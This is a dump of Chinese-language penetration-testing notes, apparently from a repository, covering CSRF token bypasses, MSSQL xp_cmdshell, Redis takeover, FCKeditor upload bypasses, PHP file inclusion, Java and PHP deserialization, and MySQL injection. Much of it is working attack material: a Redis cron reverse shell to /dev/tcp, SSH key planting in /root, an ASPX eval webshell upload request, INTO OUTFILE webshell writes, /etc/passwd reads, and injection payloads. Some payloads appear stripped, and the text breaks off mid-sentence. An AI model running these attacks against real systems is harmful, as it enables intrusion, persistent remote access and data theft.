跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。 6 | 7 | >XSS与CSRF的区别: 8 | 跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。 9 | 10 | 11 | ## 防护措施 12 | 防御的本质:添加攻击者获取不得的凭证。 13 | ### 同源检测 14 | ### CSRF Token 15 | CSRF的另一个特征是,攻击者无法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用Cookie中的信息。 16 | 可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token,来把正常的请求和攻击的请求区分开,也可以防范CSRF的攻击。 17 | ### 双重Cookie验证 18 | ### Referer 19 | 20 | ### 特殊的HTTP头字段 21 | 22 | ## Bypass 23 | ### Bypass CSRF Token 24 | 25 | * 删除令牌:删除cookie/参数中token,免服务器验证 26 | * 令牌共享:创建两个帐户,替换token看是否可以互相共用; 27 | * 篡改令牌值:有时系统只会检查CSRF令牌的长度; 28 | * 解码CSRF令牌:尝试进行MD5或Base64编码 29 | * 修改请求方法:post改为get 30 | * 窃取token:重定向、XSS、web缓存欺骗、clickjacking等都可能导致token泄露 31 | 32 | ### Referer 33 | 如果是通过正则判断,利用正则的特点。 34 | 购买个包含目标域名的域名,`http://baidu.com.reabout.com` 35 | 通过参数的形式`http: //attack.com?http://baidu.com` 36 | 37 | 38 | 39 | - Ref[]:[前端安全系列(二):如何防止CSRF攻击?](https://tech.meituan.com/2018/10/11/fe-security-csrf.html) 40 | 41 | - [跨站请求伪造(CSRF)挖掘技巧及实战案例全汇总](https://cloud.tencent.com/developer/article/1516424) -------------------------------------------------------------------------------- /exp/EXP-DB-MSSQL.md: -------------------------------------------------------------------------------- 1 | # MSSQL SQL注入&漏洞利用 2 | 3 | ## 基础知识 4 | MSSQL的基本知识,SQL注入方法和漏洞利用执行和提权的方法,推荐:[MSSQL 注入与提权方法整理](https://www.geekby.site/2021/01/mssql%E6%B3%A8%E5%85%A5%E4%B8%8E%E6%8F%90%E6%9D%83%E6%96%B9%E6%B3%95%E6%95%B4%E7%90%86/) 5 | 6 | ## 命令执行 7 | 8 | ### xp_cmdshell 9 | 10 | 返回1,判断存在 11 | ``` 12 | select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 13 | ``` 14 | 开启xp_cmdshell模块 15 | ``` 16 | EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 17 | ``` 18 | 执行命令 19 | ``` 20 | exec master..xp_cmdshell 'whoami' 21 | ``` 22 | 恢复被删除的组件 23 | ``` 24 | Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll' 25 | ``` 26 | 27 | ## Ref 28 | - [MSSQL 注入与提权方法整理](https://www.geekby.site/2021/01/mssql%E6%B3%A8%E5%85%A5%E4%B8%8E%E6%8F%90%E6%9D%83%E6%96%B9%E6%B3%95%E6%95%B4%E7%90%86/) 29 | - https://www.freebuf.com/vuls/276814.html 30 | - https://xz.aliyun.com/t/7534 31 | -------------------------------------------------------------------------------- /exp/EXP-DB-Redis.md: -------------------------------------------------------------------------------- 1 | # Redis 漏洞利用 2 | ## 0x00 Introduction 3 | redis是一个key-value存储系统。 4 | 5 | ### 前置条件 6 | 获取redis权限 7 | - 未授权 8 | - 弱口令 9 | 10 | ### 达成的漏洞利用效果 11 | - 写任意文件 12 | - 信息泄露 13 | - 远程命令执行 14 | 15 | ## 0x01 漏洞利用 16 | 17 | ### 1. 信息泄露 18 | 19 | #### (1)info命令 20 | 21 | 可以泄露操作系统信息,以此为后续漏洞利用做准备。 22 | 23 | ### 2. 写任意文件->RCE 24 | 25 | #### (1) 新建DB写文件->webshell 26 | 附件条件: 27 | 1. 同主机存在web服务 28 | 2. 已知网站路径 29 | 3. 具备写权限 30 | 31 | ``` 32 | config set dir /var/www/html 33 | config set dbfilename webshell.php 34 | set shell "" 35 | save 36 | ``` 37 | #### (2) 新建DB写文件->计划任务反弹shell 38 | 39 | 40 | >真实环境慎用,需要清空数据影响生产环境 41 | 42 | 清空数据 43 | ``` 44 | redis-cli -h 192.168.1.11 45 | redis> flushall 46 | ``` 47 | 写计划文件 48 | ``` 49 | redis-cli -h 192.168.1.11 50 | redis> config set dir /var/spool/cron 51 | redis> set re "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/8899 0>&1\n\n" 52 | redis> config set dbfilename root 53 | redis> save 54 | ``` 55 | 56 | #### (3) 新建DB写文件->公钥SSH连接 57 | 58 | >真实环境慎用,需要清空数据影响生产环境 59 | 60 | 获取本地ssh公钥 61 | ``` 62 | (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > re.txt 63 | ``` 64 | 需要清空数据 65 | ``` 66 | redis-cli -h 192.168.1.11 67 | redis> flushall 68 | ``` 69 | 写秘钥 70 | ``` 71 | cat re.txt | redis-cli -h 192.168.1.11 -x set re 72 | redis> config set dir /root/.ssh 73 | redis> config set dbfilename authorized_keys 74 | redis> save 75 | ``` 76 | 本地连接: 77 | ``` 78 | ssh -o StrictHostKeyChecking=no 192.168.1.1 79 | ``` 80 | ### 3. 远程命令执行 81 | 82 | #### (1) 主从同步->RCE 83 | - 附加条件: redis 4.x-5.0.5 84 | - 在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。 85 | 86 | #### Linux 87 | - 漏洞利用: https://github.com/Ridter/redis-rce 88 | - linux 命令执行模块(so):https://github.com/RicterZ/RedisModules-ExecuteCommand. 89 | 90 | redis-rce工具一键利用 91 | #### Windows 92 | - 漏洞利用:https://github.com/r35tart/RedisWriteFile 93 | - windows 命令执行模块(dll):https://github.com/0671/RedisModules-ExecuteCommand-for-Windows 94 | 95 | ``` 96 | python RedisWriteFile.py --auth 123qwe --rhost=10.20.3.97 --rport=6379 --lhost=10.10.10.31 --lport=2222 --rpath="C:\Users\test\Desktop" --rfile="exp.dll" --lfile="exp.dll" 97 | 98 | redis: 99 | >module load C:\Users\test\Desktop\exp.dll 100 | >exp.e whoami 101 | ``` 102 | #### (2) Redis沙盒绕过(CVE-2022-0543) 103 | - 附加条件: 2.2 <= redis < 5.0.13,2.2 <= redis < 6.0.15,2.2 <= redis < 6.2.5 104 | - 漏洞利用:https://github.com/aodsec/CVE-2022-0543 105 | 106 | #### (3) 结合Jackson,Fastjosn等反序列化的漏洞利用(java) 107 | - 附加条件:Java 反序列化漏洞 108 | 参考 [细数 redis 的几种 getshell 方法](https://paper.seebug.org/1169/) 109 | 110 | ## Ref 111 | - https://www.freebuf.com/column/237263.html 112 | -------------------------------------------------------------------------------- /exp/EXP-DNS-Rebinding.md: -------------------------------------------------------------------------------- 1 | # DNS rebinding 攻击 2 | 3 | [从0到1认识DNS重绑定攻击](https://xz.aliyun.com/t/7495) 4 | -------------------------------------------------------------------------------- /exp/EXP-Expression-Injection.md: -------------------------------------------------------------------------------- 1 | # Java 表达式注入 2 | 3 | [Java 表达式注入](https://y4er.com/post/java-expression-injection/) 4 | -------------------------------------------------------------------------------- /exp/EXP-FCK.md: -------------------------------------------------------------------------------- 1 | # FCKeditor 编辑器漏洞利用 2 | 3 | >n年前的总结,如果发现fckeditor这种老古董组件可以使用 4 | 5 | ## 0x01 查看编辑器版本 6 | * `/fckeditor/editor/dialog/fck_about.html` 7 | * `/ckeditor/CHANGES.html` 8 | 9 | 10 | ## 0x02 编辑器参数 11 | 12 | - connecter参数是针对/FCKeditor/editor/filemanager/browser/default/connectors/目录下aspx、php、py...各环境脚本连接文件。(此目录下为关键文件) 13 | - type参数上传类型file、image... 14 | - Command参数执行相应命令GetFoldersAndFiles... 15 | 16 | 17 | ## 0x03 默认上传文件保存路径 18 | 19 | /UserFiles/File(Image...) 20 | ## 0x04 爆绝对路径漏洞 21 | 22 | - `/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php` (支持php的通杀) 23 | - `/FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/aspx/connector.aspx` (2.5可突破) 24 | - `/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp` 25 | 26 | 27 | ## 0x05遍历目录漏洞 28 | 29 | - `/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=../../` 30 | - Version 2.4.1 测试通过 修改CurrentFolder 参数使用 ../../来进入不同的目录:`/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp` 31 | 32 | 根据返回的XML 信息可以查看网站所有的目录,上传地址URL。 33 | 34 | - `/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/` 35 | 36 | - `/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/` 37 | 38 | 39 | ## 0x06 上传URI 40 | ### (1)test文件的上传地址 41 | - `FCKeditor/editor/filemanager/browser/default/connectors/test.html` 42 | - `FCKeditor/editor/filemanager/upload/test.html` 43 | - `FCKeditor/editor/filemanager/connectors/test.html` 44 | - `FCKeditor/editor/filemanager/connectors/uploadtest.html` 45 | 46 | 47 | ### (2)brower文件上传地址 48 | 49 | - `/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=../../connectors/asp/connector.asp` 50 | - `/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp` 51 | 52 | 53 | ## 0x07.突破方式+各版本漏洞 54 | ### (1)建立文件夹方法 55 | (a)利用IIS6.0解析漏洞建立*.asp文件夹,上传图片马或者上传畸形文件 56 | (b)fckeditor <= 2.6.4 For php 任意文件上传漏洞(iis判定路径有问题,返回500) 57 | `/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=%2Ftest.php%00.gif` 上传gif图片马即可 58 | ### (2)后台无验证 59 | (a)fckeditor 2.x < =2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,可上传任意文件。 60 | 61 | 将以下保存为html文件,修改action地址。 62 | ``` 63 |
64 | Upload a new file:
65 |
66 | 67 |
68 | ``` 69 | (b)fckeditor <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 70 | ### (3) 空格绕过 71 | 72 | fckeditor<=2.4.1 提交shell.aspx+空格 绕过 【Windows测试成功】(2.4.1 success) 73 | ### (4)二次上传 74 | fckeditor <= 2.6.8 for asp 运用%00截断,首先上传文件名为shell.asp%00txt,结果为shell.asp_txt,再次上传同名文件,结果为shell(1).asp,成功绕过。 75 | 76 | ### (5)截断上传 77 | fckeditor <= 2.2. 文件名后截断 shell.asp%00.jpg 直接shell.asp上传成功 78 | HTTP Request Eg. 79 | ``` 80 | POST /FCKeditor/editor/filemanager/upload/aspx/upload.aspx?Type=Image HTTP/1.1 81 | Host: www.**.com 82 | User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:36.0) Gecko/20100101 Firefox/36.0 83 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 84 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 85 | Accept-Encoding: gzip, deflate 86 | Referer: http://**m/FCKeditor/editor/dialog/fck_image.html?ImageButton 87 | Cookie: ASP.NET_SessionId=kh5lee5aubjpdnpezzhkf4tl; WebPlugValidateCode=7020 88 | Connection: keep-alive 89 | Content-Type: multipart/form-data; boundary=---------------------------61051038624293 90 | Content-Length: 264 91 | 92 | -----------------------------61051038624293 93 | Content-Disposition: form-data; name="NewFile"; filename="a11.jpg" 94 | Content-Type: image/jpeg 95 | 96 | gif89a 97 | <%@ Page Language="Jscript"%><%eval(Request.Item["str"],"unsafe");%> 98 | -----------------------------61051038624293-- 99 | ``` 100 | -------------------------------------------------------------------------------- /exp/EXP-Include-PHP.md: -------------------------------------------------------------------------------- 1 | # 包含漏洞 PHP 2 | 3 | ## 0x01 基础 4 | ### 危险函数 5 | - include() 6 | - include_once() 7 | - require() 8 | - require_once() 9 | 10 | ### LFI&RFI 11 | >RFI(Remote File Inclusion) 12 | 前提:php.ini中进行配置 13 | `allow_url_fopen = On` 14 | `allow_url_include = On` 15 | 16 | ## 0x02 漏洞利用 17 | 18 | ### php伪协议 19 | 20 | #### 1. php://input 21 | 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行 22 | 23 | 前提:需要开启allow_url_include=on,对allow_url_fopen不做要求 24 | 25 | EXP: 26 | ``` 27 | http://127.0.0.1/index.php?file=php://input 28 | 29 | POST Data: 30 | 31 | ``` 32 | 33 | #### 2. php://filter 34 | 35 | >前提:只是读取,所以只需要开启allow_url_fopen,对allow_url_include不做要求 36 | 37 | EXP: 38 | ``` 39 | http://127.0.0.1/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php 40 | ``` 41 | 42 | #### 3. zip://伪协议 43 | zip://可以访问压缩文件中的文件 44 | 45 | >前提:使用zip协议,需要将#编码为%23,所以需要PHP 的版本> =5.3.0,要是因为版本的问题无法将#编码成%23,可以手动把#改成%23。 46 | 47 | EXP: 48 | ``` 49 | http://127.0.0.1/index.php?file=zip://test.zip#shell.php 50 | ``` 51 | #### 4. phar://伪协议 52 | 与zip://协议类似,但用法不同,zip://伪协议中是用#把压缩文件路径和压缩文件的子文件名隔开,而phar://伪协议中是用/把压缩文件路径和压缩文件的子文件名隔开,即 53 | 54 | EXP: 55 | ``` 56 | http://127.0.0.1/index.php?file=phar://test.phar/shell.php 57 | ``` 58 | #### 5.data:text/plain 59 | 60 | 和php伪协议的input类似,也可以执行任意代码,但利用条件和用法不同 61 | 62 | >前提:allow_url_fopen参数与allow_url_include都需开启 63 | 64 | EXP: 65 | ``` 66 | http://127.0.0.1/index.php?file=data:text/plain, 67 | http://127.0.0.1/index.php?file=data:text/plain;base64,编码后的php代码 68 | ``` 69 | #### 6. file://伪协议 70 | file:// 用于访问本地文件系统,且不受allow_url_fopen与allow_url_include的影响。 71 | EXP: 72 | ``` 73 | http://127.0.0.1/index.php?file=file://文件绝对路径 74 | ``` 75 | 76 | ### other 77 | 78 | #### 7. session 79 | >前提:session文件路径已知,且其中内容部分可控。 80 | 81 | 常见存放位置: 82 | - /var/lib/php/sess_PHPSESSID 83 | - /var/lib/php/sess_PHPSESSID 84 | - /tmp/sess_PHPSESSID 85 | - /tmp/sessions/sess_PHPSESSID 86 | 87 | session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。 88 | 89 | #### 8. 日志 90 | 很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。 91 | 92 | #### 9. SSH log 93 | >需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log 94 | 95 | EXP: 96 | ``` 97 | $ ssh ''@remotehost 98 | ``` 99 | 100 | #### 10. /proc/self/environ 101 | >前提: 102 | php以cgi方式运行,这样environ才会保持UA头。 103 | environ文件存储位置已知,且environ文件可读。 104 | 105 | EXP 106 | 107 | ``` 108 | GET /index.php?file=../../../../proc/self/environ HTTP/1.1 109 | Host: 127.0.0.1 110 | User-Agent: Mozilla/5.0 111 | Connection: close 112 | ``` 113 | 114 | ## Ref 115 | - [php文件包含漏洞](https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/) 116 | - [浅谈文件包含漏洞](https://xz.aliyun.com/t/7176) -------------------------------------------------------------------------------- /exp/EXP-Java-Unserialize-Bypass-Jdk.md: -------------------------------------------------------------------------------- 1 | # 绕过过高版本Jdk的限制进行Jndi注入利用 2 | 3 | ## 0x00限制成因 4 | 5 | 除了RMI服务之外,JNDI还可以对接LDAP服务,LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。 6 | 7 | ### 1. trustURLCodebase = false (CVE-2018-3149) 8 | 2018年10月,高版本JDK在RMI和LDAP的trustURLCodebase都做了限制,从默认允许远程加载ObjectFactory变成了不允许。 9 | - RMI是在JDK 6u132, 7u122, 8u113版本开始做了限制。 10 | - LDAP是JDK 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。 11 | 12 | ### 2. JEP290防护机制 (Filter Incoming Serialization Data) 13 | 适用范围: 14 | JEP 290 在 JDK 9 中加入,但在 JDK 6,7,8 一些高版本中也添加了,JDK 8u121, 7u131, 6u141。 15 | 内容: 16 | 防护机制规范原文:[JEP 290: Filter Incoming Serialization Data](https://openjdk.org/jeps/290) 17 | 18 | - 提供一个限制反序列化类的机制,白名单或者黑名单 19 | - 限制反序列化的深度和复杂度 20 | - 为RMI远程调用对象提供了一个验证类的机制 21 | - 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器 22 | 23 | ## 0x01 漏洞利用 24 | 不让远程加载类,那就需要利用本地类反序列化或者调用工厂类执行执行方法来到到目的。 25 | - 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。 26 | 公开常用的利用方法是通过Tomcat的`org.apache.naming.factory.BeanFactory` 工厂类去调用 `javax.el.ELProcessor#eval`方法或`groovy.lang.GroovyShell#evaluate`方法 27 | - 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。 28 | 通过LDAP的 `javaSerializedData`反序列化gadget 29 | 30 | 详细利用方法见:[探索高版本 JDK 下 JNDI 漏洞的利用方法](https://tttang.com/archive/1405/) 31 | 32 | ## Ref 33 | - [探索高版本 JDK 下 JNDI 漏洞的利用方法](https://tttang.com/archive/1405/) 34 | - [JNDI:JNDI-LDAP 注入及高版本JDK限制](https://m0d9.me/2020/07/23/JNDI-LDAP%20%E6%B3%A8%E5%85%A5%E5%8F%8A%E9%AB%98%E7%89%88%E6%9C%ACJDK%E9%99%90%E5%88%B6%E2%80%94%E2%80%94%E4%B8%8A/) 35 | -[如何绕过高版本 JDK 的限制进行 JNDI 注入利用](https://paper.seebug.org/942/) 36 | - [jdk21下的jndi注入](https://xz.aliyun.com/t/15265?time__1311=GqjxnD0D2AGQqGNeWxUxQTTxfx%3D3%3DkeW4D) 37 | - [漫谈 JEP 290](https://xz.aliyun.com/t/10170) -------------------------------------------------------------------------------- /exp/EXP-Java-Unserialize.md: -------------------------------------------------------------------------------- 1 | # Java 反序列化漏洞利用 2 | 3 | ## 0x00 Java序列化和反序列化 4 | 5 | Java 序列化:把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。 6 | Java 反序列化:把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。 7 | 8 | >一个类的对象要想序列化成功,必须满足两个条件: 9 | 1. 该类必须实现 java.io.Serializable 接口。 10 | 2. 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。 11 | 12 | ## 0x01 Java反序列化漏洞成因 13 | 反序列化接口可以构造恶意对象序列化数据输入。 14 | 利用java的反射等机制来执行代码。 15 | 16 | 17 | ## 0x02 Java反序列化基础知识 18 | 19 | 简单的来说就是RMI注册的服务可以让 JNDI 应用程序来访问,调用。 20 | 21 | - JNDI (Java Naming and Directory Interface) 是一个应用程序设计的 API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI 支持的服务主要有以下几种:DNS、LDAP、 CORBA 对象服务、RMI 等。 22 | - RMI(Remote Method Invocation) 即 Java 远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为 JRMP(Java Remote Message Protocol ,Java 远程消息交换协议)以及 CORBA。 23 | 24 | 25 | ## 0x03 如何发现反序列化漏洞 26 | 27 | ### 反序列化函数 28 | ``` 29 | ObjectInputStream.readObject 30 | ObjectInputStream.readUnshared 31 | XMLDecoder.readObject 32 | Yaml.load 33 | XStream.fromXML 34 | ObjectMapper.readValue 35 | JSON.parseObject 36 | ``` 37 | ## 0x04 反序列化漏洞利用 38 | ### 1.[框架]Spring 39 | #### Spring Framework 4.2.4 反序列化漏洞 40 | POC: https://github.com/zerothoughts/spring-jndi 41 | ![](https://images.seebug.org/content/images/2017/06/14968351994824.png-w331s) 42 | 分析:http://llfam.cn/2019/11/11/spring_4.2.4_unser/ 43 | ### 2.[组件]Apache Commons Collections 44 | 分析:https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/ 45 | ### 3.[组件]Fastjson 46 | 分析: https://paper.seebug.org/1318/ 47 | ### 4.[组件]Shiro 48 | 分析: https://paper.seebug.org/1503/ 49 | 50 | ### 5. Apache Solr 51 | 52 | 分析: [Apache Solr反序列化远程代码执行漏洞分析(CVE-2019-0192)](https://www.anquanke.com/post/id/210866?luicode=10000011&lfid=1076033957583411&featurecode=newtitle%0AUltrasonic+Fingerprint+ID+on+the+Galaxy+S10%3A+Pesto+Fingers&u=https%3A%2F%2Fwww.anquanke.com%2Fpost%2Fid%2F210866) 53 | 54 | ### 3. WebLogic 55 | 分析:[Weblogic CVE-2021-2394 反序列化漏洞分析](https://www.anquanke.com/post/id/249654) 56 | 57 | ## Ref 58 | - [深入理解 JAVA 反序列化漏洞](https://paper.seebug.org/312/#2) 59 | - https://yinwc.github.io/2020/02/08/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E 60 | - http://llfam.cn/2019/11/11/spring_4.2.4_unser/ 61 | - https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/ 62 | - https://paper.seebug.org/1318/ 63 | - [Apache Solr反序列化远程代码执行漏洞分析(CVE-2019-0192)](https://www.anquanke.com/post/id/210866?luicode=10000011&lfid=1076033957583411&featurecode=newtitle%0AUltrasonic+Fingerprint+ID+on+the+Galaxy+S10%3A+Pesto+Fingers&u=https%3A%2F%2Fwww.anquanke.com%2Fpost%2Fid%2F210866) 64 | -[Weblogic CVE-2021-2394 反序列化漏洞分析](https://www.anquanke.com/post/id/249654) 65 | -------------------------------------------------------------------------------- /exp/EXP-PHP-Unserialize.md: -------------------------------------------------------------------------------- 1 | # 反序列漏洞-PHP 2 | 3 | ## 0x01 Introduction 4 | 5 | ### 反序列化: 6 | 直接看例子 7 | ``` 8 | 20 | ``` 21 | 序列化的结果 22 | ``` 23 | O:4:"test":2:{s:10:"testflag";s:9:"flag{233}";s:1:"a";s:3:"aaa";} 24 | O::""::{} 25 | ``` 26 | 27 | ### 漏洞利用思路: 28 | 跟二进制漏洞利用很相似,寻找gadgat构造POP链(Property-Oriented Programing),实现漏洞利用。  29 | 1. 查找魔术函数寻找可以理由的逻辑代码。 30 | 2. 利用倒叙思想一步步寻找相关的同名函数或变量。 31 | 3. 最后构造成触发的POP链。 32 | 33 | 34 | 35 | ## 0x02 魔术函数 36 | ### 可利用的点 37 | 38 | * 反序列化会调用 __wakeup(),__destruct() 39 | * 存在不可访问方法 __call(),__callStatic() 40 | * 对象打印 __toString() 41 | 42 | ### 常用魔术函数 43 | * __construct(),类的构造函数 44 | * __destruct(),类的析构函数 45 | * __call(),在对象中调用一个不可访问方法时调用 46 | * __callStatic(),用静态方式中调用一个不可访问方法时调用 47 | * __get(),获得一个类的成员变量时调用 48 | * __set(),设置一个类的成员变量时调用 49 | * __isset(),当对不可访问属性调用isset()或empty()时调用 50 | * __unset(),当对不可访问属性调用unset()时被调用。 51 | * __sleep(),执行serialize()时,先会调用这个函数 52 | * __wakeup(),执行unserialize()时,先会调用这个函数 53 | * __toString(),类被当成字符串时的回应方法 54 | * __invoke(),调用函数的方式调用一个对象时的回应方法 55 | * __set_state(),调用var_export()导出类时,此静态方法会被调用。 56 | * __clone(),当对象复制完成时调用 57 | * __autoload(),尝试加载未定义的类 58 | * __debugInfo(),打印所需调试信息 59 | 60 | ## 0x03 反序列化入口点 61 | 62 | ### unserialize() 63 | 64 | ### phar反序列化 65 | 常用攻击链 = 上传文件 + PoP链 + 文件操作phar://伪协议 66 | - [利用 phar 拓展 php 反序列化漏洞攻击面](https://paper.seebug.org/680/) 67 | 68 | 69 | 70 | ## 0x04 bypass技巧 71 | 72 | ### 跳过__wakeup 执行 73 | 74 | 75 | [php反序列化中wakeup绕过总结](https://fushuling.com/index.php/2023/03/11/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%ADwakeup%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/) 这篇文章总结了5个方法: 76 | 77 | #### 1)CVE-2016-7124 78 | 这里就要用到CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 79 | ``` 80 | 构造序列化对象:O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";} 81 | 绕过__wakeup:O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";} 82 | ``` 83 | #### 2)php引用赋值& 84 | 85 | #### 3)fast-destruct 86 | 87 | #### 4)php issue#9618 88 | 89 | #### 5)使用C绕过 90 | 91 | 92 | ### 字符溢出控制序列化内容 93 | 94 | 序列化字符串中部分数据可控,可以填充字符达到序列化当前目标上限,伪造后面数据。 95 | ![](https://img2018.cnblogs.com/blog/1077935/201910/1077935-20191017112220979-1117655826.png) 96 | [从一道ctf看php反序列化漏洞的应用场景](https://www.cnblogs.com/litlife/p/11690918.html) 97 | 98 | ### `O:+8` 绕过正则检测`/O:\d:/` 99 | 100 | 101 | [红日安全代码审计Day11 - unserialize反序列化漏洞](https://xz.aliyun.com/t/2733) 102 | 103 | ## 0x05 技巧篇 104 | 105 | 106 | ### 利用array()动态调用类 107 | 108 | ``` 109 | =5.5.53 默认为NULL,即默认禁止导入导出 28 | - Mysql<5.5.53 默认为空,即默认无限制 29 | 或者查询用户权限: 30 | >username为用户名 31 | ``` 32 | SELECT file_priv FROM mysql.user WHERE user = 'username';//需要root权限 33 | SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'; 34 | ``` 35 | #### 2.读文件 36 | ``` 37 | SELECT LOAD_FILE('/etc/passwd'); 38 | ``` 39 | - LOAD_FILE()函数操作文件的当前目录是@@datadir 40 | - MySQL用户必须拥有对此文件读取的权限 41 | - 文件大小必须小于 max_allowed_packet。 42 | - @@max_allowed_packet的默认大小是1047552 字节 43 | 44 | 45 | #### 3.写文件 46 | INTO OUTFILE/DUMPFILE 47 | ``` 48 | SELECT '' INTO OUTFILE '/var/www/shell.php'; 49 | ``` 50 | ##### 注入拼接写文件payload——sqlmap写文件为空解决方法 51 | sqlmap写文件为空原因在于查询结果为空所以结尾也没有添加自定义字符 52 | 因此,1.构造正确查询有结果;2.拼接查询结果 53 | ``` 54 | //输入参数如下,前面查询的语句省略,这是where后的语句 55 | //后面是字段拼接字符和行拼接字符 56 | admin' or 'a'='a' LIMIT 0,1 INTO OUTFILE '/var/www/html/re.php' FIELDS TERMINATED BY '-' LINES TERMINATED BY ''--- 57 | ``` 58 | 59 | 其它写webshell方法:[Mysql写入Webshell](https://www.cnblogs.com/xuyangda/p/14510562.html) 60 | ### 0x03常用常量和函数 61 | 当前用户: 62 | `user()` 63 | 查询可写安全目录: 64 | `@@global.secure_file_priv` 65 | 查询版本: 66 | `VERSION()` 67 | `@@VERSION` 68 | `@@GLOBAL.VERSION` 69 | 服务器主机名: 70 | `@@HOSTNAME` 71 | ## SQL注入漏洞利用 72 | SQL注入利用类型主要分类: 73 | - Union型注入 74 | - 报错型注入 75 | - Bool型盲注 76 | - 时间型盲注 77 | ### 0x04 Union注入 78 | #### 1.判断字段数 79 | ORDER BY判断字段数。 80 | ORDER BY n+1; 让n一直增加直到出现错误页面。 81 | #### 2.寻找输出位 82 | #### 3.构造EXP 83 | Eg. 84 | ``` 85 | 查询语句 SELECT username, password, permission FROM Users WHERE id = '1'; 86 | 1' ORDER BY 1--+ True 87 | 1' ORDER BY 2--+ True 88 | 1' ORDER BY 3--+ True 89 | 1' ORDER BY 4--+ False 90 | 说明查询只用了3个字段。 91 | -1' UNION SELECT 1,2,3--+ True //在页面找到输出的字段值 92 | -1' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database(); 93 | ``` 94 | ### 0x05 报错型注入 95 | 报错关键词有: floor、extractvalue、updatexml、geometrycollection、multipoint、polygon、multipolygon、linestring、multilinestring、ST_LatFromGeoHash、ST_LongFromGeoHash、GTID_SUBSET、GTID_SUBTRACT、ST_PointFromGeoHash 96 | #### 1. floor方式 97 | ``` 98 | select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a; 99 | ``` 100 | 释义: 101 | >rand() 随机数函数 产生0-1的随机数 102 | count(_) 计数 103 | floor() 